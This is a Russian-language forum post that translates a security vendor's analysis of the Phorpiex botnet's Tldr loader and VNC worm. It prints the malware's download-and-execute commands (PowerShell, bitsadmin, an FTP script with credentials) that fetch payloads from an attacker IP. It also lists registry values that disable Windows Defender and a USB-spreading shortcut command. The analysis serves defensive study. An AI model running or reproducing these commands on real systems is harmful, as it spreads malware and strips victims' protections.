• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Phorpiex Arsenal: Часть I

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
В настоящее время ботнет Phorpiex состоит из более чем 1 000 000 зараженных компьютеров Windows. В наших предыдущих публикациях мы писали об архитектуре ботнета, его инфраструктуре управления и контроля а также методах монетизации:

https://research.checkpoint.com/2019/phorpiex-breakdown/
https://research.checkpoint.com/2019/in-the-footsteps-of-a-sextortion-campaign/

В этой статье мы расскажем о технических деталях реализации вредоносных модулей этого ботнета.

Основной частью ботнета Phorpiex является загрузчик по имени Tldr. Он отвечает за загрузку дополнительных вредоносных модулей и других вредоносных программ на зараженные компьютеры. Каждый модуль представляет собой отдельный исполняемый файл Windows.Обычно модули Phorpiex очень маленькие и простые. Конфигурация вредоносного ПО, которая обычно включает в себя адреса серверов C&C, кошельки криптовалюты и URL-адреса для загрузки вредоносных программ, жестко запрограммирована на исполняемые файлы вредоносного программного обеспечения. Если необходимо обновить конфигурацию, операторы ботнетов просто загружают новый модуль на зараженные машины. Кроме того, модули часто обновляются с небольшими изменениями. В течение 2019 года мы наблюдали следующие типы модулей:

- Загрузчик Phorpiex Tldr.
- Модуль VNC Worm.
- Модуль NetBIOS Worm.
- XMRig майнер.
- Спам модуль
-Дополнительные модули modules (крошечные гео-ориентированные загрузчики и модули очистки).

Следует подчеркнуть, что 3 из этих модулей (Tldr, VNC Worm и NetBIOS Worm) имеют функции, которые позволяют вредоносным программам распространяться самостоятельно. Например, Tldr обладает функциональностью вируса, заражающего файлы, и способен заражать другие файлы; VNC Worm подключается к серверам VNC со слабыми паролями и пытается заразить их, имитируя ввод данных пользователем. Это объясняет, почему этот ботнет имеет такую высокую распространенность.

В этом отчете мы подробно опишем два модуля Phorpiex:

- Загрузчик Phorpiex Tldr.
- Модуль VNC Worm.

Phorpiex Tldr

Tldr (вероятно, расшифровывается как "TrikLoader") является одной из ключевых частей инфраструктуры ботнета Phorpiex.

1.png

Когда мы впервые обнаружили эту вредоносную программу, мы не смогли идентифицировать ее или понять ее принадлежность к ботнету. Тем не менее, его двоичный код, имена мьютексов и методы уклонения от песочницы являются доказательством того, что это вредоносное ПО было разработано той же группой киберпреступников, что и те, кто стоит за ботом Phorpiex Trik IRC.Также мы нашли несколько пересечений между серверами Trik и Tldr C&C.

Мы заметили большое количество версий Phorpiex Tldr, каждая из которых имеет различную функциональность. Мы фокусируемся на общих для них функциях, уделяя особое внимание новым функциям, добавленным в последней версии (с июля 2019 года). Как указывалось ранее, основной целью вредоносного ПО Tldr является загрузка и запуск других модулей и вредоносных программ на зараженные компьютеры. Однако это не единственный функционал. Tldr также способен к самораспространению, поскольку он может вести себя как червь или вирус, заражающий файлы, и заражать другое программное обеспечение.

2.png


Методы уклонения
Phorpiex Tldr использует простые методы уклонения от песочницы. При запуске он вызывает API-функцию GetModuleHandle(), чтобы проверить, загружен ли в этом процессе один из следующих модулей:

- SBIEDLL.DLL
- SBIEDLLX.DLL
- WPESPY.DLL
- DIR_WATCH.DLL
- API_LOG.DLL
- DIR_WATCH.DLL
- PSTOREC.DLL

Затем он перечисляет запущенные процессы и проверяет, является ли имя файла процесса одним из следующих:

- VBOXSERVICE.EXE
- VBOXTRAY.EXE
- VMTOOLSD.EXE
- VMWARETRAY.EXE
- VMWAREUSER
- VMSRVC.EXE
- VMUSRVC.EXE
- PRL_TOOLS.EXE
- XENSERVICE.EXE

Более старая версия Tldr (TldrV3, май 2018 г.) также проверяет эти процессы: затем перечисляет запущенные процессы и проверяет, является ли имя файла процесса одним из следующих:

- python.exe
- pythonw.exe
- prl_cc.exe
- vboxservice.exe
- vboxcontrol.exe
- tpautoconnsvc.exe

Наконец, Tldr вызывает API-функцию IsDebuggerPresent (), чтобы проверить, отлажена ли вредоносная программа.

Если хотя бы одна проверка не прошла, Tldr прекращает выполнение.

Инициализация

Шаг инициализации очень похож на шаг для Phorpiex Trik.

Чтобы предотвратить запуск нескольких экземпляров Phorpiex Tldr, он создает мьютекс с определенным жестко заданным именем. В более старых версиях использовалось имя мьютекса, содержащее номер версии, например, "TldrV3". В последней версии имя мьютекса отличается для каждой кампании. Обычно он состоит из нескольких цифр, например: "6486894".

3.png

Следующий шаг одинаков для всех образцов Phorpiex: удаление альтернативного потока данных ":Zone.Identifier". Это выполняется для удаления следа того, что источником файла является ненадежный источник.

Кроме того, версия от июля 2019 года (Tldr v5.0) получает право отладки:

4.png


Persistence

Tldr копирует себя в следующие папки:

- %windir%
- %userprofile%
- %systemdrive% (only version from July 2019)
- %temp%

Для Phorpiex Tldr V3 выбор пути и имени файла практически идентичен процедурам, используемым Phorpiex Trik. Tldr создает подпапку с жестко заданным именем, которое начинается с "T-" (в Phorpiex Trik, имена начинаются с "M-") по этим путям.Затем вредоносная программа копирует свой исполняемый файл в созданную папку с жестко заданным именем файла. Например:

C:\WINDOWS\T-9759504507674060850740\winsvc.exe

В отличие от Phorpiex Tldr v3, более новая версия устанавливает постоянство, только если его имя файла не содержит подстроки "sys". Затем она использует имя подпапки, сгенерированное из случайных цифр, и имя файла, которое начинается с "sys", за которым следуют 4 случайные буквы:

5.png


Поэтому новое имя файла выглядит так:

C:\WINDOWS\2813528135\sysjekp.exe

Phorpiex Tldr устанавливает атрибуты FILE_ATTRIBUTE_READONLY, FILE_ATTRIBUTE_HIDDEN, FILE_ATTRIBUTE_SYSTEM как для созданного файла, так и для подпапки.

Затем вредоносная программа устанавливает записи автозапуска реестра для каждой созданной копии под следующими ключами:

- HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
- HKLM\Software\Microsoft\Windows\CurrentVersion\Run\

Tldr создает новое значение реестра с жестко заданным именем. В исследуемом образце это имя называется "Windows Operating System":

6.png


Кроме того, она добавляет исключение брандмауэра, создавая новое значение в разделе реестра.

SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\

Обход безопасности Windows


Версия Phorpiex Tldr от июля 2019 года (Tldr v5) отключает функции безопасности Windows, такие как Защитник Windows, уведомления о безопасности и восстановление системы, устанавливая следующие параметры реестра:

KeyValue
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender“DisableAntiSpyware”= 1
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection“DisableBehaviorMonitoring” = 1
“DisableOnAccessProtection” = 1
“DisableScanOnRealtimeEnable” = 1
HKLM\SOFTWARE\Microsoft\Security Center
HKLM\SOFTWARE\Microsoft\Security Center\Svc
“AntiVirusOverride” = 1
“UpdatesOverride” = 1
“FirewallOverride” = 1
“AntiVirusDisableNotify” = 1
“UpdatesDisableNotify” = 1
“AutoUpdateDisableNotify” = 1
“FirewallDisableNotify” = 1
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore“DisableSR” = 1

Более старые версии Tldr отключают только AntiSpyware.

Основная функциональность

Для каждого злонамеренного действия Phorpiex Tldr создает отдельный поток.

Поток Крипто Клиппера

Почти все образцы содержат функциональность для кражи криптовалюты. Это делается путем изменения адреса кошелька криптовалюты в буфере обмена зараженной системы.

В бесконечном цикле каждые 200 миллисекунд вредоносная программа запрашивает данные буфера обмена, вызывая функции API OpenClipboard (0) и GetClipboardData (CF_TEXT).Чтобы определить, содержит ли буфер обмена адрес крипто-кошелька, Phorpiex Tldr выполняет несколько проверок:

- Первый символ является одним из них: 1, 3, q, 2, X, D, 0, L, 4, P, t, z, G, U, E;
- Длина буфера обмена составляет от 25 до 45 символов, или 9 букв, или от 90 до 115 букв.
- Данные буфера обмена не должны содержать букв: O (0x4F), I (0x49), l (0x6C)
- Данные буфера обмена должны содержать только цифры и буквы

Если какая-либо из проверок не пройдена, буфер обмена остается без изменений. В противном случае он определяет тип адреса кошелька криптовалюты и изменяет его на одно из жестко закодированных значений. Phorpiex Tldr определяет точный тип блокчейна по первому символу данных буфера обмена:

8.png


Следующие криптовалюты поддерживаются Phorpiex:

- Bitcoin
- Bitcoin Cash
- Ethereum
- DASH
- Dogecoin
- Litecoin
- Monero
- Zcash

Crypto Clipper также поддерживает кошельки Perfect Money (золото, доллары США, евро):

9.png

Наконец, новые данные отправляются обратно в буфер обмена путем вызова SetClipboardData (CF_TEXT, new_value).

Поток Самораспространения

В этом потоке реализована функциональность файлового червя.

В бесконечном цикле с задержкой в 2 секунды Tldr перечисляет доступные диски, используя GetLogicalDrives. Он считывает значение ключа реестра "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" "NoDrives" и исключает из перечисления диски, отключенные политикой NoDrives Windows Explorer.

Затем Tldr выбирает только съемные и удаленные диски. На каждом выбранном диске он создает папку с именем «__» и устанавливает атрибуты FILE_ATTRIBUTE_READONLY, FILE_ATTRIBUTE_HIDDEN и FILE_ATRRIBUTE_SYSTEM в созданную папку, чтобы сделать ее невидимой в Explorer по умолчанию.

Вредоносная программа копирует себя в эту папку под жестко заданным именем (в нашем примере это "DriveMgr.exe"). Tldr получает имя тома выбранного диска. Затем он создает ярлык с именем "{имя_тома} .lnk" в корневой папке выбранного диска с целью:

%windir%\system32\cmd.exe /c start __ & __\DriveMgr.exe & exit

Затем Tldr перемещает все папки из корневого пути выбранного диска в папку «__». Он также удаляет все файлы в корневом пути со следующими расширениями:

*.lnk, *.vbs, *.bat, *.js, *.scr, *.com, *.jse, *.cmd,*.pif, *.jar, *.dll, *.vbe, *.inf”

10.png


Причиной этого может быть отключение всех других червей, которые находятся на том же съемном диске.

Как мы видим, поведение такое же, как и у других червей, которые используют съемные диски для распространения.

Однако в Tldr v5.0 появилась новая функциональность, которая позволяет вредоносному ПО функционировать как вирус, заражающий файлы, и заражать другие исполняемые файлы. Ранее Phorpiex использовал отдельный модуль для заражения другого программного обеспечения.

Вредоносная программа сканирует все папки на съемных и удаленных дисках и заражает все файлы .exe, которые до сих пор не заражены.

Чтобы заразить другой PE-файл, Tldr выполняет следующие модификации: Он увеличивает количество разделов в заголовке файла PE и устанавливает значение TimeDateStamp заголовка равным 0x0000DEAD:

11.png


Значение 0x0000DEAD в TimeDateStamp также используется вредоносным ПО для обнаружения, если файл уже заражен. Значение 0x0000DEAD преобразуется в метку времени 1970-01-01 15:50:05. Поэтому зараженные образцы можно легко найти в VirusTotal с помощью этого запроса: pets: 1970-01-01T15: 50: 05

Tldr также создает новый раздел кода с именем ".zero" и копирует туда вредоносную информацию. Адрес точки входа изменяется, чтобы указывать на начало созданного раздела. Значение SizeOfImage заголовка увеличивается на длину добавляемого раздела. Вредонос не пересчитывает контрольную сумму; она просто сбрасывается на 0.

12.png


Чтобы создать адаптер для вызова исходной точки входа, вредоносная программа записывает свой относительный адрес в код основной внедренной функции:

13.png

Tldr использует значение 0xCCCCCCCC, чтобы найти местоположение в функции шаблона, где должен быть размещен исходный адрес точки входа:

14.png


Вредоносный шеллкод

Шелкод, вставленный в зараженные файлы, состоит из нескольких функций с позиционно-независимым кодом. Это означает, что функции не используют абсолютные адреса и могут функционировать правильно, когда помещены в любую область памяти.

Сначала шеллкод проверяет, существует ли файл "%appdata%\winsvcs.txt". Этот файл создан Phorpiex Tldr. Если файл существует, шеллкод не выполняет никаких действий и просто передает управление исходной точке входа программы заражения. В противном случае он загружает и выполняет другой файл с жестко запрограммированного URL:

15.png


Файл загружается во временный файл с помощью функции API URLDownloadToFileW. Имя для временного файла получается с использованием функций GetTempPathW и GetTempFileNameW. Если файл был успешно загружен, шеллкод удаляет ADS ": Zone.Identifier" из этого файла и выполняет файл, используя CreateProcessW.

Наконец, управление передается исходной точке входа зараженной программы.

Поток проверки C&C

При первом запуске Phorpiex Tldr выполняет HTTP-запросы на регистрацию к своим серверам C&C, используя жестко закодированный список серверов C&C:

16.png


Tldr создает поток для каждого сервера C&C. Перед запуском потоков вредоносная программа создает пустой файл "%appdata%\winsvcs.txt". Этот файл используется в качестве флага, чтобы определить, запущено ли вредоносное ПО в первый раз. Если этот файл уже существует, потоки не создаются.

В каждом потоке вредоносная программа запрашивает следующий URL:

https://<cnc_host>/t.php?new=1

Мы также видели URL разных форматов в других примерах. Например:

https://<cnc_host>/tldr.php?new=1
https://<cnc_host>/tldr.php?on=1
https://<cnc_host>/tldr.php?new=1&id=<random_number>
https://<cnc_host>/tldr.php?new=1&on=<random_number>


Для выполнения запросов регистрации Phorpiex Tldr использует конкретное жестко закодированное значение для заголовка User-agent. Значение для версии с июля 2019 года:

Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0

Значение для более старых версий:

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0

Следовательно, полученный HTTP-запрос выглядит следующим образом:

17.png


Функциональность регистрации C&C не является обязательной и присутствует не во всех примерах.

Главный поток

Основной целью Phorpiex Tldr является загрузка и выполнение дополнительных вредоносных программ на зараженных хостах. Он использует несколько жестко закодированных путей (обычно от 4 до 8) для создания URL для загрузки файлов:


18.png


Результирующие URL выглядят так:

https://<cnc_domain>/1.exe
https://<cnc_ domain>/2.exe


Для каждого сгенерированного URL-адреса вредоносная программа сначала проверяет свою доступность и размер контента, используя функции API InternetOpenUrlA и HttpQueryInfoA. Если URL доступен, Tldr запоминает размер контента для каждого пути. Если размер содержимого совпадает с предыдущим значением, URL пропускается, что предотвращает повторную загрузку той же полезной нагрузки.

Если URL-адрес доступен и запрошен в первый раз, или длина содержимого отличается от предыдущего значения, Tldr загружает и выполняет его. Загруженный файл сохраняется в папке% temp% под именем:

“%d.exe” % random.randint(10000, 40000)

Например:

%temp%\23874.exe

Tldr выполняет 2 попытки загрузки файла: используя InternetOpenUrlW/InternetReadFile и URLDownloadToFileW, если предыдущая попытка не удалась.

После загрузки файла Phorpiex Tldr удаляет свой альтернативный поток данных ":Zone.Identifier". Затем он выполняет 2 попытки выполнить загруженный файл: используя CreateProcess и ShellExecute, если предыдущая попытка не удалась.

Указанные выше действия выполняются в бесконечном цикле со случайной задержкой от 1 до 600 секунд между циклами.

Интересно отметить, что такая реализация загрузчика очень небезопасна; любой, кто регистрирует домены, которые жестко заданы в более старых версиях Phorpiex Tldr, может загружать и запускать любое программное обеспечение на зараженных хостах. Тем не менее, последняя версия Tldr (v5) получила значительное улучшение, что делает такой сценарий невозможным.

Новая функция использует шифрование файлов с проверкой подписи RC4 и RSA-SHA1. Цифровая подпись позволяет вредоносной программе проверять как целостность, так и подлинность загруженных образцов.

Зашифрованный файл имеет заголовок, который содержит магические байты («NGS!»), Длину подписи RSA и подпись RSA, которая используется для проверки файла. Первые 16 байтов подписи RSA используются в качестве ключа расшифровки RC4:

19.png


Phorpiex Tldr расшифровывает данные с помощью 16-байтового ключа RC4 из файла, а затем вычисляет хэш SHA1 дешифрованного файла. Для проверки цифровой подписи Tldr использует открытый ключ 4096-битный зашитый в этом семпле.

20.png


Если проверка подписи не удалась, файл не выполняется. Это означает, что Phorpiex Tldr может принимать только файлы, подписанные соответствующим закрытым ключом RSA.

Модуль Червя VNC

Одним из модулей, обнаруженных нами в арсенале Phorpiex, является вредоносный клиент VNC. Он не имеет своего собственного механизма сохранения и обычно выполняется Tldr каждый раз. Это крошечное вредоносное ПО сканирует случайные IP-адреса на наличие открытого порта VNC-сервера (5900) и проводит атаку методом перебора, используя жестко запрограммированный список паролей. Конечная цель этой атаки - загрузить и запустить другое вредоносное ПО (обычно Phorpiex Tldr) на целевом хосте.

Выполнение червя Phorpiex VNC начинается с техники уклонения от песочницы API. Он выполняет большое количество бессмысленных вызовов нескольких функций в цикле:

21.png


Вредоносная программа предотвращает многократное выполнение в нескольких случаях, используя мьютекс с жестко заданным именем:

22.png


Сама атака осуществляется в бесконечном цикле. Используемые для сканирования IP-адреса генерируются случайным образом с использованием функции rand() и результатов GetTickCount() в качестве случайного начального числа. Единственное правило фильтрации для IP-адреса состоит в том, что он не может начинаться с 127, 172 или 192. Создается отдельный поток для связи с каждым IP-адресом.

Если попытка подключения к TCP-порту 5900 была успешной, червь VNC запускает атаку методом перебора на обнаруженный VNC-сервер со списком паролей:


23.png


Список паролей может различаться в разных примерах.

Если атака прошла успешно, о результатах можно сообщить на сервер C&C, используя URL-адрес следующего формата (шаблон URL жестко закодирован в образце вредоносного ПО):

hxxp://92.63.197.153/result.php?vnc=%s|%s” % (host, password)

В исследованных примерах функциональность отчетов отключена, хотя URL-адрес присутствует.

Наконец, червь Phorpiex VNC выполняет несколько сценариев на компьютере жертвы, имитируя ввод с клавиатуры по протоколу VNC. Сначала он водит Win+R, чтобы открыть окно "Запустить программу". Затем он "вводит" содержимое скрипта, отправляя соответствующие пакеты VNC:

24.png


Выполняются обычно следующие сценарии :

cmd.exe /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile(‘https://92.63.197.153/vnc.exe’,’%temp%\48303045850.exe’);Start-Process ‘%temp%\48303045850.exe’
cmd.exe /c bitsadmin /transfer getitman /download /priority high https://92.63.197.153/vnc.exe %temp%\49405003030.exe&start %temp%\49405003030.exe
cmd.exe /c netsh firewall add allowedprogram C:\Windows\System32\ftp.exe “ok” ENABLE&netsh advfirewall firewall add rule name=”ok” dir=in action=allow program=”C:\Windows\System32\ftp.exe” enable=yes
cmd.exe /c “cd %temp%&@echo open 92.63.197.153>>ftpget.txt&@echo tom>>ftpget.txt&@echo hehehe>>ftpget.txt&@echo binary>>ftpget.txt&@echo get vnc.exe>>ftpget.txt&@echo quit>>ftpget.txt&@ftp -s:ftpget.txt&@start vnc.exe”

Таким образом, червь Phorpiex VNC заставляет компьютер жертвы загружать и выполнять вредоносный образец через HTTP или FTP с сервера, который контролируется действующими лицами вредоносного ПО. Как мы видим из источника сценария, вредоносная программа использует жестко закодированные учетные данные для доступа к FTP-серверу:

USER tom
PASS hehehe

Мы наблюдали следующие места, которые использовались жертвами для загрузки полезных данных:

ftp://tom:hehehe@92.63.197[.]153/vnc.exe
ftp://tom:hehehe@92.63.197[.]153/ohuh.exe
https://92.63.197[.]153/vnc.exe
https://92.63.197[.]153/ohuh.exe

Этот модуль обычно использовался ботнетом Phorpiex для самораспространения и распространения вымогателей.

Источник: https://research.checkpoint.com/2020/phorpiex-arsenal-part-i/
Автор перевода: yashechka
Переведено специально для портала xss.pro (c)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх